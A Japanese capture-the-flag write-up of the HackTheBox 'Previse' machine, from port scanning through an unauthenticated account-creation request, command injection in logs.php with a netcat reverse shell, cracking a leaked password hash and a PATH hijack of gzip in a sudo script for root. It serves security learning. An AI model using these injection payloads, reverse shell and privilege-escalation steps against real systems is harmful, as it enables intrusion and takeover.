🔥

HackTheBox Previse

2022/10/03に公開約12,000字

Previse

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.104 -oN nmap.log
PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp    open     http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php

22、80番を確認

web


ログインページを発見

gobuster

ディレクトリ探索

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirb/common.txt -x '.php' -o gobuster_dir_ex.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/10/03 15:22:38 Starting gobuster in directory enumeration mode
===============================================================
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/favicon.ico          (Status: 200) [Size: 15406]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/footer.php           (Status: 200) [Size: 217]
/header.php           (Status: 200) [Size: 980]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/login.php            (Status: 200) [Size: 2224]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/server-status        (Status: 403) [Size: 277]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
===============================================================
2022/10/03 14:54:39 Finished
===============================================================

多くの PHP ファイルを発見

accounts.php

リダイレクトされるが、Burp Suite で通信を確認する

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>

パラメータを送ることで、ユーザを追加できそう

username=sho000&password=password&confirm=password

上記のようなパラメータを追加を追加し、Send する

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    <div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>

Success! User was added! というメッセージが出力された

login

先程追加した情報でログインできるか試してみる

ログイン成功

探索していくと、ZIP ファイルを発見

siteBackup.zip

ZIP ファイルを解凍する

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ unzip siteBackup.zip
inflating: accounts.php            
inflating: config.php              
inflating: download.php            
inflating: file_logs.php           
inflating: files.php               
inflating: footer.php              
inflating: header.php              
inflating: index.php               
inflating: login.php               
inflating: logout.php              
inflating: logs.php                
inflating: nav.php                 
inflating: status.php

ディレクトリ探索で見つけた様なファイルを取得できた

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ cat config.php         
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

一番気になる config.php を見てみると、mysql への認証情報が書かれていた

logs.php

ファイルの中身を見ていると気になる部分を発見

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

exec コマンドを発見し delim パラメータが使用されていることがわかる

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=dc3fr73emkth91obta4rmqf7gg
Upgrade-Insecure-Requests: 1

delim=space

Burp Suite で確認すると、以下のようなリクエストが送られていた
delim を悪用してコマンドが実行できそう

delim=comma;ping -c 1 10.10.14.12

kali に ping を一回飛ばすコマンドを入力し、Send する

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo tcpdump -i tun0 icmp                              
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:15:18.150565 IP 10.10.11.104 > 10.10.14.12: ICMP echo request, id 18714, seq 1, length 64
16:15:18.150643 IP 10.10.14.12 > 10.10.11.104: ICMP echo reply, id 18714, seq 1, length 64

ping が飛んできたことがわかる

www-data としてのシェル

nc

delim=comma;nc 10.10.14.12 7777 -e /bin/bash

上記のようなリクエストを作成し、Send

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.104] 58160
whoami
www-data

侵入成功

列挙

home

ユーザの存在を確認するため、home ディレクトリをみると、m4lwhere ユーザを確認

www-data@previse:/home/m4lwhere$ ls -l
total 4
-r-------- 1 m4lwhere m4lwhere 33 Oct  3 05:42 user.txt

user.txt に権限があるか一応見てみるが、権限はないことがわかった

mysql

侵入前の探索で、認証情報を取得しているのでアクセスしてみる

www-data@previse:/home/m4lwhere$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 177
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

アクセス成功

mysql> use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

accounts テーブルを発見

mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | sho000   | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2022-10-03 06:38:34 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec) +

hash 化されているが、パスワードを発見できた
hashcat で確認すると、これは 500 で解読できそうであることがわかる

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

ilovecody112235! という文字列を取得

m4lwhere としてのシェル

su

www-data@previse:/home/m4lwhere$ su m4lwhere
Password: ilovecody112235!

m4lwhere@previse:~$ whoami
m4lwhere

シェル取得に成功

user フラグ

m4lwhere@previse:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

sudo

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: ilovecody112235!

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

access_backup.sh が使えるらしい

access_backup.sh

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

gzip を実行しているようだが、gzip は完全なパス名ではないため、悪用できそう

m4lwhere@previse:/tmp$ echo "chmod +s /bin/bash" > gzip

今回は、/bin/bash の権限を変更することで、権限昇格を目指す

m4lwhere@previse:/tmp$ chmod +x gzip

新たに作成した gzip に実行権限を付与

m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH

作成した gzip が先に実行されるように、PATH 変数に /tmp を追加

root としてのシェル

exploit

m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh

access_backup.sh を実行

m4lwhere@previse:/tmp$ find / -type f -user root -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/bin/bash
/bin/su

SUID が /bin/bash に対して付与されたことがわかる

m4lwhere@previse:/tmp$ bash -p
bash-4.4# whoami
root

権限昇格成功

root フラグ

bash-4.4# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

所感

今回のボックスは、特に詰まることがなくスラスラと攻略できた。楽しかった。少し気になる点は、ディレクトリ探索をする際に、拡張子を指定しなければ、accounts.php を発見することができなかったということ。抜けのない探索を心がけたい。

Discussion

ログインするとコメントできます